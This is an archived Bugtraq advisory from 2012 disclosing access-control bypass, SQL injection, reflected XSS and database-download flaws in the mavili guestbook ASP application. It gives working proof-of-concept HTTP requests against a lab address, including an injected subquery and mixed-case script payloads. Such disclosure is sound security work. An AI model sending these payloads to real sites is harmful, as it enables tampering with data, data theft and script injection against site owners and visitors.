bugtraq - mavili guestbook - SQL Injection and XSS Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201201031427.q03ERmhf010022@sf01web1.securityfocus.com>
Date: Tue, 3 Jan 2012 14:27:48 GMT
From: demonalex@....com
To: bugtraq@...urityfocus.com
Subject: mavili guestbook - SQL Injection and XSS Vulnerabilities

Title: mavili guestbook - SQL Injection and XSS Vulnerabilities

Software : mavili guestbook

Software Version : 200711

Vendor: http://code.google.com/p/maviliguestbook/ 

Vulnerability Published : 2012-01-03

Vulnerability Update Time :

Status : 

Impact : High

Bug Description :
mavili guestbook(version update : 200711) is vulnerable with Security Access Control Bypass, SQL Injection, XSS, etc.

Proof Of Concept :
1)Security Access Control Bypass:
User can edit, approve and delete messages without admin permission, POC below (Remarks: id=91 exists was necessary) :
1.1)GET http://192.168.10.211/edit.asp?id=91
1.2)GET http://192.168.10.211/delete.asp?id=91
1.3)GET http://192.168.10.211/approve.asp?id=91&show=true

2)SQL Injection:
2.1)id in /edit.asp, PoC below (Remarks: id=91 exists was necessary) :
GET http://192.168.10.211/edit.asp?id=92 and 0<(select count(*) from [admin])

3)XSS:
3.1)id in /approve.asp, PoC:
GET http://192.168.10.211/approve.asp?id=<SCRipt>alert('demonalex')</scrIPT>&show=true
3.2)id in /delete.asp, PoC:
GET http://192.168.10.211/delete.asp?id=<SCRipt>alert('demonalex')</scrIPT>
3.3)id in /edit.asp, PoC:
GET http://192.168.10.211/edit.asp?id=<SCRipt>alert('demonalex')</scrIPT>
3.4)id in /edit2.asp, PoC:
POST http://192.168.10.211/edit2.asp
------------------------------------
id=<SCRipt>alert('demonalex')</scrIPT>&name=aaa&country=1&email=aaa@....com&website=http://&submit=Send&message=aaa

4)Default Database Path:
4.1)GET http://192.168.10.211/guestbook.mdb

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@...nect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK